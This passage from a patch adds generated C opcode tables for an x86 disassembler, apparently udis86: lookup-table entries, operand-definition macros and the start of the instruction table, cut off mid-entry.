UD_TAB__OPC_MOD, "/mod" }, + /* 878 */ { ud_itab__878, UD_TAB__OPC_MOD, "/mod" }, + /* 879 */ { ud_itab__879, UD_TAB__OPC_MOD, "/mod" }, + /* 880 */ { ud_itab__880, UD_TAB__OPC_MOD, "/mod" }, + /* 881 */ { ud_itab__881, UD_TAB__OPC_MOD, "/mod" }, + /* 882 */ { ud_itab__882, UD_TAB__OPC_MOD, "/mod" }, + /* 883 */ { ud_itab__883, UD_TAB__OPC_MOD, "/mod" }, + /* 884 */ { ud_itab__884, UD_TAB__OPC_MOD, "/mod" }, + /* 885 */ { ud_itab__885, UD_TAB__OPC_MOD, "/mod" }, + /* 886 */ { ud_itab__886, UD_TAB__OPC_MOD, "/mod" }, + /* 887 */ { ud_itab__887, UD_TAB__OPC_MOD, "/mod" }, + /* 888 */ { ud_itab__888, UD_TAB__OPC_MOD, "/mod" }, + /* 889 */ { ud_itab__889, UD_TAB__OPC_MOD, "/mod" }, + /* 890 */ { ud_itab__890, UD_TAB__OPC_MOD, "/mod" }, + /* 891 */ { ud_itab__891, UD_TAB__OPC_MOD, "/mod" }, + /* 892 */ { ud_itab__892, UD_TAB__OPC_MOD, "/mod" }, + /* 893 */ { ud_itab__893, UD_TAB__OPC_MOD, "/mod" }, + /* 894 */ { ud_itab__894, UD_TAB__OPC_MOD, "/mod" }, + /* 895 */ { ud_itab__895, UD_TAB__OPC_MOD, "/mod" }, + /* 896 */ { ud_itab__896, UD_TAB__OPC_MOD, "/mod" }, + /* 897 */ { ud_itab__897, UD_TAB__OPC_MOD, "/mod" }, + /* 898 */ { ud_itab__898, UD_TAB__OPC_MOD, "/mod" }, + /* 899 */ { ud_itab__899, UD_TAB__OPC_MOD, "/mod" }, + /* 900 */ { ud_itab__900, UD_TAB__OPC_MOD, "/mod" }, + /* 901 */ { ud_itab__901, UD_TAB__OPC_MOD, "/mod" }, + /* 902 */ { ud_itab__902, UD_TAB__OPC_MOD, "/mod" }, + /* 903 */ { ud_itab__903, UD_TAB__OPC_MOD, "/mod" }, + /* 904 */ { ud_itab__904, UD_TAB__OPC_MOD, "/mod" }, + /* 905 */ { ud_itab__905, UD_TAB__OPC_MOD, "/mod" }, + /* 906 */ { ud_itab__906, UD_TAB__OPC_MOD, "/mod" }, + /* 907 */ { ud_itab__907, UD_TAB__OPC_MOD, "/mod" }, + /* 908 */ { ud_itab__908, UD_TAB__OPC_MOD, "/mod" }, + /* 909 */ { ud_itab__909, UD_TAB__OPC_MOD, "/mod" }, + /* 910 */ { ud_itab__910, UD_TAB__OPC_MOD, "/mod" }, + /* 911 */ { ud_itab__911, UD_TAB__OPC_MOD, "/mod" }, + /* 912 */ { ud_itab__912, UD_TAB__OPC_MOD, "/mod" }, + /* 913 */ { ud_itab__913, UD_TAB__OPC_MOD, "/mod" }, + /* 914 */ { ud_itab__914, UD_TAB__OPC_MOD, "/mod" }, + /* 915 */ { ud_itab__915, UD_TAB__OPC_MOD, "/mod" }, + /* 916 */ { ud_itab__916, UD_TAB__OPC_MOD, "/mod" }, + /* 917 */ { ud_itab__917, UD_TAB__OPC_MOD, "/mod" }, + /* 918 */ { ud_itab__918, UD_TAB__OPC_MOD, "/mod" }, + /* 919 */ { ud_itab__919, UD_TAB__OPC_MOD, "/mod" }, + /* 920 */ { ud_itab__920, UD_TAB__OPC_MOD, "/mod" }, + /* 921 */ { ud_itab__921, UD_TAB__OPC_MOD, "/mod" }, + /* 922 */ { ud_itab__922, UD_TAB__OPC_MOD, "/mod" }, + /* 923 */ { ud_itab__923, UD_TAB__OPC_MOD, "/mod" }, + /* 924 */ { ud_itab__924, UD_TAB__OPC_MOD, "/mod" }, + /* 925 */ { ud_itab__925, UD_TAB__OPC_MOD, "/mod" }, + /* 926 */ { ud_itab__926, UD_TAB__OPC_MOD, "/mod" }, + /* 927 */ { ud_itab__927, UD_TAB__OPC_MOD, "/mod" }, + /* 928 */ { ud_itab__928, UD_TAB__OPC_MOD, "/mod" }, + /* 929 */ { ud_itab__929, UD_TAB__OPC_MOD, "/mod" }, + /* 930 */ { ud_itab__930, UD_TAB__OPC_MOD, "/mod" }, + /* 931 */ { ud_itab__931, UD_TAB__OPC_MOD, "/mod" }, + /* 932 */ { ud_itab__932, UD_TAB__OPC_MOD, "/mod" }, + /* 933 */ { ud_itab__933, UD_TAB__OPC_MOD, "/mod" }, + /* 934 */ { ud_itab__934, UD_TAB__OPC_MOD, "/mod" }, + /* 935 */ { ud_itab__935, UD_TAB__OPC_MOD, "/mod" }, + /* 936 */ { ud_itab__936, UD_TAB__OPC_MOD, "/mod" }, + /* 937 */ { ud_itab__937, UD_TAB__OPC_MOD, "/mod" }, + /* 938 */ { ud_itab__938, UD_TAB__OPC_MOD, "/mod" }, + /* 939 */ { ud_itab__939, UD_TAB__OPC_MOD, "/mod" }, + /* 940 */ { ud_itab__940, UD_TAB__OPC_MOD, "/mod" }, + /* 941 */ { ud_itab__941, UD_TAB__OPC_REG, "/reg" }, + /* 942 */ { ud_itab__942, UD_TAB__OPC_MOD, "/mod" }, + /* 943 */ { ud_itab__943, UD_TAB__OPC_MOD, "/mod" }, + /* 944 */ { ud_itab__944, UD_TAB__OPC_MOD, "/mod" }, + /* 945 */ { ud_itab__945, UD_TAB__OPC_MOD, "/mod" }, + /* 946 */ { ud_itab__946, UD_TAB__OPC_MOD, "/mod" }, + /* 947 */ { ud_itab__947, UD_TAB__OPC_MOD, "/mod" }, + /* 948 */ { ud_itab__948, UD_TAB__OPC_MOD, "/mod" }, + /* 949 */ { ud_itab__949, UD_TAB__OPC_X87, "/x87" }, + /* 950 */ { ud_itab__950, UD_TAB__OPC_MOD, "/mod" }, + /* 951 */ { ud_itab__951, UD_TAB__OPC_MOD, "/mod" }, + /* 952 */ { ud_itab__952, UD_TAB__OPC_MOD, "/mod" }, + /* 953 */ { ud_itab__953, UD_TAB__OPC_MOD, "/mod" }, + /* 954 */ { ud_itab__954, UD_TAB__OPC_MOD, "/mod" }, + /* 955 */ { ud_itab__955, UD_TAB__OPC_MOD, "/mod" }, + /* 956 */ { ud_itab__956, UD_TAB__OPC_MOD, "/mod" }, + /* 957 */ { ud_itab__957, UD_TAB__OPC_MOD, "/mod" }, + /* 958 */ { ud_itab__958, UD_TAB__OPC_MOD, "/mod" }, + /* 959 */ { ud_itab__959, UD_TAB__OPC_MOD, "/mod" }, + /* 960 */ { ud_itab__960, UD_TAB__OPC_MOD, "/mod" }, + /* 961 */ { ud_itab__961, UD_TAB__OPC_MOD, "/mod" }, + /* 962 */ { ud_itab__962, UD_TAB__OPC_MOD, "/mod" }, + /* 963 */ { ud_itab__963, UD_TAB__OPC_MOD, "/mod" }, + /* 964 */ { ud_itab__964, UD_TAB__OPC_MOD, "/mod" }, + /* 965 */ { ud_itab__965, UD_TAB__OPC_MOD, "/mod" }, + /* 966 */ { ud_itab__966, UD_TAB__OPC_MOD, "/mod" }, + /* 967 */ { ud_itab__967, UD_TAB__OPC_MOD, "/mod" }, + /* 968 */ { ud_itab__968, UD_TAB__OPC_MOD, "/mod" }, + /* 969 */ { ud_itab__969, UD_TAB__OPC_MOD, "/mod" }, + /* 970 */ { ud_itab__970, UD_TAB__OPC_MOD, "/mod" }, + /* 971 */ { ud_itab__971, UD_TAB__OPC_MOD, "/mod" }, + /* 972 */ { ud_itab__972, UD_TAB__OPC_MOD, "/mod" }, + /* 973 */ { ud_itab__973, UD_TAB__OPC_MOD, "/mod" }, + /* 974 */ { ud_itab__974, UD_TAB__OPC_MOD, "/mod" }, + /* 975 */ { ud_itab__975, UD_TAB__OPC_MOD, "/mod" }, + /* 976 */ { ud_itab__976, UD_TAB__OPC_MOD, "/mod" }, + /* 977 */ { ud_itab__977, UD_TAB__OPC_MOD, "/mod" }, + /* 978 */ { ud_itab__978, UD_TAB__OPC_MOD, "/mod" }, + /* 979 */ { ud_itab__979, UD_TAB__OPC_MOD, "/mod" }, + /* 980 */ { ud_itab__980, UD_TAB__OPC_MOD, "/mod" }, + /* 981 */ { ud_itab__981, UD_TAB__OPC_MOD, "/mod" }, + /* 982 */ { ud_itab__982, UD_TAB__OPC_MOD, "/mod" }, + /* 983 */ { ud_itab__983, UD_TAB__OPC_MOD, "/mod" }, + /* 984 */ { ud_itab__984, UD_TAB__OPC_MOD, "/mod" }, + /* 985 */ { ud_itab__985, UD_TAB__OPC_MOD, "/mod" }, + /* 986 */ { ud_itab__986, UD_TAB__OPC_MOD, "/mod" }, + /* 987 */ { ud_itab__987, UD_TAB__OPC_MOD, "/mod" }, + /* 988 */ { ud_itab__988, UD_TAB__OPC_MOD, "/mod" }, + /* 989 */ { ud_itab__989, UD_TAB__OPC_MOD, "/mod" }, + /* 990 */ { ud_itab__990, UD_TAB__OPC_MOD, "/mod" }, + /* 991 */ { ud_itab__991, UD_TAB__OPC_MOD, "/mod" }, + /* 992 */ { ud_itab__992, UD_TAB__OPC_MOD, "/mod" }, + /* 993 */ { ud_itab__993, UD_TAB__OPC_MOD, "/mod" }, + /* 994 */ { ud_itab__994, UD_TAB__OPC_MOD, "/mod" }, + /* 995 */ { ud_itab__995, UD_TAB__OPC_MOD, "/mod" }, + /* 996 */ { ud_itab__996, UD_TAB__OPC_MOD, "/mod" }, + /* 997 */ { ud_itab__997, UD_TAB__OPC_MOD, "/mod" }, + /* 998 */ { ud_itab__998, UD_TAB__OPC_MOD, "/mod" }, + /* 999 */ { ud_itab__999, UD_TAB__OPC_REG, "/reg" }, + /* 1000 */ { ud_itab__1000, UD_TAB__OPC_MOD, "/mod" }, + /* 1001 */ { ud_itab__1001, UD_TAB__OPC_MOD, "/mod" }, + /* 1002 */ { ud_itab__1002, UD_TAB__OPC_MOD, "/mod" }, + /* 1003 */ { ud_itab__1003, UD_TAB__OPC_MOD, "/mod" }, + /* 1004 */ { ud_itab__1004, UD_TAB__OPC_MOD, "/mod" }, + /* 1005 */ { ud_itab__1005, UD_TAB__OPC_MOD, "/mod" }, + /* 1006 */ { ud_itab__1006, UD_TAB__OPC_MOD, "/mod" }, + /* 1007 */ { ud_itab__1007, UD_TAB__OPC_MOD, "/mod" }, + /* 1008 */ { ud_itab__1008, UD_TAB__OPC_X87, "/x87" }, + /* 1009 */ { ud_itab__1009, UD_TAB__OPC_MOD, "/mod" }, + /* 1010 */ { ud_itab__1010, UD_TAB__OPC_MOD, "/mod" }, + /* 1011 */ { ud_itab__1011, UD_TAB__OPC_MOD, "/mod" }, + /* 1012 */ { ud_itab__1012, UD_TAB__OPC_MOD, "/mod" }, + /* 1013 */ { ud_itab__1013, UD_TAB__OPC_MOD, "/mod" }, + /* 1014 */ { ud_itab__1014, UD_TAB__OPC_MOD, "/mod" }, + /* 1015 */ { ud_itab__1015, UD_TAB__OPC_MOD, "/mod" }, + /* 1016 */ { ud_itab__1016, UD_TAB__OPC_MOD, "/mod" }, + /* 1017 */ { ud_itab__1017, UD_TAB__OPC_MOD, "/mod" }, + /* 1018 */ { ud_itab__1018, UD_TAB__OPC_MOD, "/mod" }, + /* 1019 */ { ud_itab__1019, UD_TAB__OPC_MOD, "/mod" }, + /* 1020 */ { ud_itab__1020, UD_TAB__OPC_MOD, "/mod" }, + /* 1021 */ { ud_itab__1021, UD_TAB__OPC_MOD, "/mod" }, + /* 1022 */ { ud_itab__1022, UD_TAB__OPC_MOD, "/mod" }, + /* 1023 */ { ud_itab__1023, UD_TAB__OPC_MOD, "/mod" }, + /* 1024 */ { ud_itab__1024, UD_TAB__OPC_MOD, "/mod" }, + /* 1025 */ { ud_itab__1025, UD_TAB__OPC_MOD, "/mod" }, + /* 1026 */ { ud_itab__1026, UD_TAB__OPC_MOD, "/mod" }, + /* 1027 */ { ud_itab__1027, UD_TAB__OPC_MOD, "/mod" }, + /* 1028 */ { ud_itab__1028, UD_TAB__OPC_MOD, "/mod" }, + /* 1029 */ { ud_itab__1029, UD_TAB__OPC_MOD, "/mod" }, + /* 1030 */ { ud_itab__1030, UD_TAB__OPC_MOD, "/mod" }, + /* 1031 */ { ud_itab__1031, UD_TAB__OPC_MOD, "/mod" }, + /* 1032 */ { ud_itab__1032, UD_TAB__OPC_MOD, "/mod" }, + /* 1033 */ { ud_itab__1033, UD_TAB__OPC_MOD, "/mod" }, + /* 1034 */ { ud_itab__1034, UD_TAB__OPC_MOD, "/mod" }, + /* 1035 */ { ud_itab__1035, UD_TAB__OPC_MOD, "/mod" }, + /* 1036 */ { ud_itab__1036, UD_TAB__OPC_MOD, "/mod" }, + /* 1037 */ { ud_itab__1037, UD_TAB__OPC_MOD, "/mod" }, + /* 1038 */ { ud_itab__1038, UD_TAB__OPC_MOD, "/mod" }, + /* 1039 */ { ud_itab__1039, UD_TAB__OPC_MOD, "/mod" }, + /* 1040 */ { ud_itab__1040, UD_TAB__OPC_MOD, "/mod" }, + /* 1041 */ { ud_itab__1041, UD_TAB__OPC_MOD, "/mod" }, + /* 1042 */ { ud_itab__1042, UD_TAB__OPC_MOD, "/mod" }, + /* 1043 */ { ud_itab__1043, UD_TAB__OPC_MOD, "/mod" }, + /* 1044 */ { ud_itab__1044, UD_TAB__OPC_MOD, "/mod" }, + /* 1045 */ { ud_itab__1045, UD_TAB__OPC_MOD, "/mod" }, + /* 1046 */ { ud_itab__1046, UD_TAB__OPC_MOD, "/mod" }, + /* 1047 */ { ud_itab__1047, UD_TAB__OPC_MOD, "/mod" }, + /* 1048 */ { ud_itab__1048, UD_TAB__OPC_MOD, "/mod" }, + /* 1049 */ { ud_itab__1049, UD_TAB__OPC_MOD, "/mod" }, + /* 1050 */ { ud_itab__1050, UD_TAB__OPC_MOD, "/mod" }, + /* 1051 */ { ud_itab__1051, UD_TAB__OPC_MOD, "/mod" }, + /* 1052 */ { ud_itab__1052, UD_TAB__OPC_MOD, "/mod" }, + /* 1053 */ { ud_itab__1053, UD_TAB__OPC_MOD, "/mod" }, + /* 1054 */ { ud_itab__1054, UD_TAB__OPC_MOD, "/mod" }, + /* 1055 */ { ud_itab__1055, UD_TAB__OPC_MOD, "/mod" }, + /* 1056 */ { ud_itab__1056, UD_TAB__OPC_MOD, "/mod" }, + /* 1057 */ { ud_itab__1057, UD_TAB__OPC_MOD, "/mod" }, + /* 1058 */ { ud_itab__1058, UD_TAB__OPC_MOD, "/mod" }, + /* 1059 */ { ud_itab__1059, UD_TAB__OPC_MOD, "/mod" }, + /* 1060 */ { ud_itab__1060, UD_TAB__OPC_MOD, "/mod" }, + /* 1061 */ { ud_itab__1061, UD_TAB__OPC_MOD, "/mod" }, + /* 1062 */ { ud_itab__1062, UD_TAB__OPC_MOD, "/mod" }, + /* 1063 */ { ud_itab__1063, UD_TAB__OPC_MOD, "/mod" }, + /* 1064 */ { ud_itab__1064, UD_TAB__OPC_MOD, "/mod" }, + /* 1065 */ { ud_itab__1065, UD_TAB__OPC_MOD, "/mod" }, + /* 1066 */ { ud_itab__1066, UD_TAB__OPC_MOD, "/mod" }, + /* 1067 */ { ud_itab__1067, UD_TAB__OPC_REG, "/reg" }, + /* 1068 */ { ud_itab__1068, UD_TAB__OPC_MOD, "/mod" }, + /* 1069 */ { ud_itab__1069, UD_TAB__OPC_MOD, "/mod" }, + /* 1070 */ { ud_itab__1070, UD_TAB__OPC_MOD, "/mod" }, + /* 1071 */ { ud_itab__1071, UD_TAB__OPC_MOD, "/mod" }, + /* 1072 */ { ud_itab__1072, UD_TAB__OPC_MOD, "/mod" }, + /* 1073 */ { ud_itab__1073, UD_TAB__OPC_MOD, "/mod" }, + /* 1074 */ { ud_itab__1074, UD_TAB__OPC_MOD, "/mod" }, + /* 1075 */ { ud_itab__1075, UD_TAB__OPC_MOD, "/mod" }, + /* 1076 */ { ud_itab__1076, UD_TAB__OPC_X87, "/x87" }, + /* 1077 */ { ud_itab__1077, UD_TAB__OPC_MOD, "/mod" }, + /* 1078 */ { ud_itab__1078, UD_TAB__OPC_MOD, "/mod" }, + /* 1079 */ { ud_itab__1079, UD_TAB__OPC_MOD, "/mod" }, + /* 1080 */ { ud_itab__1080, UD_TAB__OPC_MOD, "/mod" }, + /* 1081 */ { ud_itab__1081, UD_TAB__OPC_MOD, "/mod" }, + /* 1082 */ { ud_itab__1082, UD_TAB__OPC_MOD, "/mod" }, + /* 1083 */ { ud_itab__1083, UD_TAB__OPC_MOD, "/mod" }, + /* 1084 */ { ud_itab__1084, UD_TAB__OPC_MOD, "/mod" }, + /* 1085 */ { ud_itab__1085, UD_TAB__OPC_MOD, "/mod" }, + /* 1086 */ { ud_itab__1086, UD_TAB__OPC_MOD, "/mod" }, + /* 1087 */ { ud_itab__1087, UD_TAB__OPC_MOD, "/mod" }, + /* 1088 */ { ud_itab__1088, UD_TAB__OPC_MOD, "/mod" }, + /* 1089 */ { ud_itab__1089, UD_TAB__OPC_MOD, "/mod" }, + /* 1090 */ { ud_itab__1090, UD_TAB__OPC_MOD, "/mod" }, + /* 1091 */ { ud_itab__1091, UD_TAB__OPC_MOD, "/mod" }, + /* 1092 */ { ud_itab__1092, UD_TAB__OPC_MOD, "/mod" }, + /* 1093 */ { ud_itab__1093, UD_TAB__OPC_MOD, "/mod" }, + /* 1094 */ { ud_itab__1094, UD_TAB__OPC_MOD, "/mod" }, + /* 1095 */ { ud_itab__1095, UD_TAB__OPC_MOD, "/mod" }, + /* 1096 */ { ud_itab__1096, UD_TAB__OPC_MOD, "/mod" }, + /* 1097 */ { ud_itab__1097, UD_TAB__OPC_MOD, "/mod" }, + /* 1098 */ { ud_itab__1098, UD_TAB__OPC_MOD, "/mod" }, + /* 1099 */ { ud_itab__1099, UD_TAB__OPC_MOD, "/mod" }, + /* 1100 */ { ud_itab__1100, UD_TAB__OPC_MOD, "/mod" }, + /* 1101 */ { ud_itab__1101, UD_TAB__OPC_MOD, "/mod" }, + /* 1102 */ { ud_itab__1102, UD_TAB__OPC_MOD, "/mod" }, + /* 1103 */ { ud_itab__1103, UD_TAB__OPC_MOD, "/mod" }, + /* 1104 */ { ud_itab__1104, UD_TAB__OPC_MOD, "/mod" }, + /* 1105 */ { ud_itab__1105, UD_TAB__OPC_MOD, "/mod" }, + /* 1106 */ { ud_itab__1106, UD_TAB__OPC_MOD, "/mod" }, + /* 1107 */ { ud_itab__1107, UD_TAB__OPC_MOD, "/mod" }, + /* 1108 */ { ud_itab__1108, UD_TAB__OPC_MOD, "/mod" }, + /* 1109 */ { ud_itab__1109, UD_TAB__OPC_MOD, "/mod" }, + /* 1110 */ { ud_itab__1110, UD_TAB__OPC_MOD, "/mod" }, + /* 1111 */ { ud_itab__1111, UD_TAB__OPC_MOD, "/mod" }, + /* 1112 */ { ud_itab__1112, UD_TAB__OPC_MOD, "/mod" }, + /* 1113 */ { ud_itab__1113, UD_TAB__OPC_MOD, "/mod" }, + /* 1114 */ { ud_itab__1114, UD_TAB__OPC_MOD, "/mod" }, + /* 1115 */ { ud_itab__1115, UD_TAB__OPC_MOD, "/mod" }, + /* 1116 */ { ud_itab__1116, UD_TAB__OPC_MOD, "/mod" }, + /* 1117 */ { ud_itab__1117, UD_TAB__OPC_MOD, "/mod" }, + /* 1118 */ { ud_itab__1118, UD_TAB__OPC_MOD, "/mod" }, + /* 1119 */ { ud_itab__1119, UD_TAB__OPC_MOD, "/mod" }, + /* 1120 */ { ud_itab__1120, UD_TAB__OPC_MOD, "/mod" }, + /* 1121 */ { ud_itab__1121, UD_TAB__OPC_MOD, "/mod" }, + /* 1122 */ { ud_itab__1122, UD_TAB__OPC_MOD, "/mod" }, + /* 1123 */ { ud_itab__1123, UD_TAB__OPC_MOD, "/mod" }, + /* 1124 */ { ud_itab__1124, UD_TAB__OPC_MOD, "/mod" }, + /* 1125 */ { ud_itab__1125, UD_TAB__OPC_MOD, "/mod" }, + /* 1126 */ { ud_itab__1126, UD_TAB__OPC_ASIZE, "/a" }, + /* 1127 */ { ud_itab__1127, UD_TAB__OPC_MODE, "/m" }, + /* 1128 */ { ud_itab__1128, UD_TAB__OPC_REG, "/reg" }, + /* 1129 */ { ud_itab__1129, UD_TAB__OPC_REG, "/reg" }, + /* 1130 */ { ud_itab__1130, UD_TAB__OPC_REG, "/reg" }, + /* 1131 */ { ud_itab__1131, UD_TAB__OPC_REG, "/reg" }, + /* 1132 */ { ud_itab__1132, UD_TAB__OPC_MODE, "/m" }, +}; + +/* itab entry operand definitions (for readability) */ +#define O_AL { OP_AL, SZ_B } +#define O_AX { OP_AX, SZ_W } +#define O_Av { OP_A, SZ_V } +#define O_C { OP_C, SZ_NA } +#define O_CL { OP_CL, SZ_B } +#define O_CS { OP_CS, SZ_NA } +#define O_CX { OP_CX, SZ_W } +#define O_D { OP_D, SZ_NA } +#define O_DL { OP_DL, SZ_B } +#define O_DS { OP_DS, SZ_NA } +#define O_DX { OP_DX, SZ_W } +#define O_E { OP_E, SZ_NA } +#define O_ES { OP_ES, SZ_NA } +#define O_Eb { OP_E, SZ_B } +#define O_Ed { OP_E, SZ_D } +#define O_Eq { OP_E, SZ_Q } +#define O_Ev { OP_E, SZ_V } +#define O_Ew { OP_E, SZ_W } +#define O_Ey { OP_E, SZ_Y } +#define O_Ez { OP_E, SZ_Z } +#define O_FS { OP_FS, SZ_NA } +#define O_Fv { OP_F, SZ_V } +#define O_G { OP_G, SZ_NA } +#define O_GS { OP_GS, SZ_NA } +#define O_Gb { OP_G, SZ_B } +#define O_Gd { OP_G, SZ_D } +#define O_Gq { OP_G, SZ_Q } +#define O_Gv { OP_G, SZ_V } +#define O_Gw { OP_G, SZ_W } +#define O_Gy { OP_G, SZ_Y } +#define O_Gz { OP_G, SZ_Z } +#define O_I1 { OP_I1, SZ_NA } +#define O_I3 { OP_I3, SZ_NA } +#define O_Ib { OP_I, SZ_B } +#define O_Iv { OP_I, SZ_V } +#define O_Iw { OP_I, SZ_W } +#define O_Iz { OP_I, SZ_Z } +#define O_Jb { OP_J, SZ_B } +#define O_Jv { OP_J, SZ_V } +#define O_Jz { OP_J, SZ_Z } +#define O_M { OP_M, SZ_NA } +#define O_Mb { OP_M, SZ_B } +#define O_MbRd { OP_MR, SZ_BD } +#define O_MbRv { OP_MR, SZ_BV } +#define O_Md { OP_M, SZ_D } +#define O_MdRy { OP_MR, SZ_DY } +#define O_MdU { OP_MU, SZ_DO } +#define O_Mo { OP_M, SZ_O } +#define O_Mq { OP_M, SZ_Q } +#define O_MqU { OP_MU, SZ_QO } +#define O_Ms { OP_M, SZ_W } +#define O_Mt { OP_M, SZ_T } +#define O_Mv { OP_M, SZ_V } +#define O_Mw { OP_M, SZ_W } +#define O_MwRd { OP_MR, SZ_WD } +#define O_MwRv { OP_MR, SZ_WV } +#define O_MwRy { OP_MR, SZ_WY } +#define O_MwU { OP_MU, SZ_WO } +#define O_N { OP_N, SZ_Q } +#define O_NONE { OP_NONE, SZ_NA } +#define O_Ob { OP_O, SZ_B } +#define O_Ov { OP_O, SZ_V } +#define O_Ow { OP_O, SZ_W } +#define O_P { OP_P, SZ_Q } +#define O_Q { OP_Q, SZ_Q } +#define O_R { OP_R, SZ_RDQ } +#define O_R0b { OP_R0, SZ_B } +#define O_R0v { OP_R0, SZ_V } +#define O_R0w { OP_R0, SZ_W } +#define O_R0y { OP_R0, SZ_Y } +#define O_R0z { OP_R0, SZ_Z } +#define O_R1b { OP_R1, SZ_B } +#define O_R1v { OP_R1, SZ_V } +#define O_R1w { OP_R1, SZ_W } +#define O_R1y { OP_R1, SZ_Y } +#define O_R1z { OP_R1, SZ_Z } +#define O_R2b { OP_R2, SZ_B } +#define O_R2v { OP_R2, SZ_V } +#define O_R2w { OP_R2, SZ_W } +#define O_R2y { OP_R2, SZ_Y } +#define O_R2z { OP_R2, SZ_Z } +#define O_R3b { OP_R3, SZ_B } +#define O_R3v { OP_R3, SZ_V } +#define O_R3w { OP_R3, SZ_W } +#define O_R3y { OP_R3, SZ_Y } +#define O_R3z { OP_R3, SZ_Z } +#define O_R4b { OP_R4, SZ_B } +#define O_R4v { OP_R4, SZ_V } +#define O_R4w { OP_R4, SZ_W } +#define O_R4y { OP_R4, SZ_Y } +#define O_R4z { OP_R4, SZ_Z } +#define O_R5b { OP_R5, SZ_B } +#define O_R5v { OP_R5, SZ_V } +#define O_R5w { OP_R5, SZ_W } +#define O_R5y { OP_R5, SZ_Y } +#define O_R5z { OP_R5, SZ_Z } +#define O_R6b { OP_R6, SZ_B } +#define O_R6v { OP_R6, SZ_V } +#define O_R6w { OP_R6, SZ_W } +#define O_R6y { OP_R6, SZ_Y } +#define O_R6z { OP_R6, SZ_Z } +#define O_R7b { OP_R7, SZ_B } +#define O_R7v { OP_R7, SZ_V } +#define O_R7w { OP_R7, SZ_W } +#define O_R7y { OP_R7, SZ_Y } +#define O_R7z { OP_R7, SZ_Z } +#define O_S { OP_S, SZ_NA } +#define O_SS { OP_SS, SZ_NA } +#define O_ST0 { OP_ST0, SZ_NA } +#define O_ST1 { OP_ST1, SZ_NA } +#define O_ST2 { OP_ST2, SZ_NA } +#define O_ST3 { OP_ST3, SZ_NA } +#define O_ST4 { OP_ST4, SZ_NA } +#define O_ST5 { OP_ST5, SZ_NA } +#define O_ST6 { OP_ST6, SZ_NA } +#define O_ST7 { OP_ST7, SZ_NA } +#define O_U { OP_U, SZ_O } +#define O_V { OP_V, SZ_O } +#define O_W { OP_W, SZ_O } +#define O_eAX { OP_eAX, SZ_Z } +#define O_eCX { OP_eCX, SZ_Z } +#define O_eDX { OP_eDX, SZ_Z } +#define O_rAX { OP_rAX, SZ_V } +#define O_rCX { OP_rCX, SZ_V } +#define O_rDX { OP_rDX, SZ_V } +#define O_sIb { OP_sI, SZ_B } +#define O_sIv { OP_sI, SZ_V } +#define O_sIz { OP_sI, SZ_Z } + +struct ud_itab_entry ud_itab[] = { + /* 0000 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0001 */ { UD_Iadd, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0002 */ { UD_Iadd, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0003 */ { UD_Iadd, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0004 */ { UD_Iadd, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0005 */ { UD_Iadd, O_AL, O_Ib, O_NONE, P_none }, + /* 0006 */ { UD_Iadd, O_rAX, O_sIz, O_NONE, P_oso|P_rexw }, + /* 0007 */ { UD_Ipush, O_ES, O_NONE, O_NONE, P_inv64 }, + /* 0008 */ { UD_Ipop, O_ES, O_NONE, O_NONE, P_inv64 }, + /* 0009 */ { UD_Ior, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0010 */ { UD_Ior, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0011 */ { UD_Ior, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0012 */ { UD_Ior, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0013 */ { UD_Ior, O_AL, O_Ib, O_NONE, P_none }, + /* 0014 */ { UD_Ior, O_rAX, O_sIz, O_NONE, P_oso|P_rexw }, + /* 0015 */ { UD_Ipush, O_CS, O_NONE, O_NONE, P_inv64 }, + /* 0016 */ { UD_Isldt, O_MwRv, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0017 */ { UD_Istr, O_MwRv, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0018 */ { UD_Illdt, O_Ew, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0019 */ { UD_Iltr, O_Ew, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0020 */ { UD_Iverr, O_Ew, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0021 */ { UD_Iverw, O_Ew, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0022 */ { UD_Isgdt, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0023 */ { UD_Isidt, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0024 */ { UD_Ilgdt, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0025 */ { UD_Ilidt, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0026 */ { UD_Ismsw, O_MwRv, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0027 */ { UD_Ilmsw, O_Ew, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0028 */ { UD_Iinvlpg, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0029 */ { UD_Ivmcall, O_NONE, O_NONE, O_NONE, P_none }, + /* 0030 */ { UD_Ivmlaunch, O_NONE, O_NONE, O_NONE, P_none }, + /* 0031 */ { UD_Ivmresume, O_NONE, O_NONE, O_NONE, P_none }, + /* 0032 */ { UD_Ivmxoff, O_NONE, O_NONE, O_NONE, P_none }, + /* 0033 */ { UD_Imonitor, O_NONE, O_NONE, O_NONE, P_none }, + /* 0034 */ { UD_Imwait, O_NONE, O_NONE, O_NONE, P_none }, + /* 0035 */ { UD_Ixgetbv, O_NONE, O_NONE, O_NONE, P_none }, + /* 0036 */ { UD_Ixsetbv, O_NONE, O_NONE, O_NONE, P_none }, + /* 0037 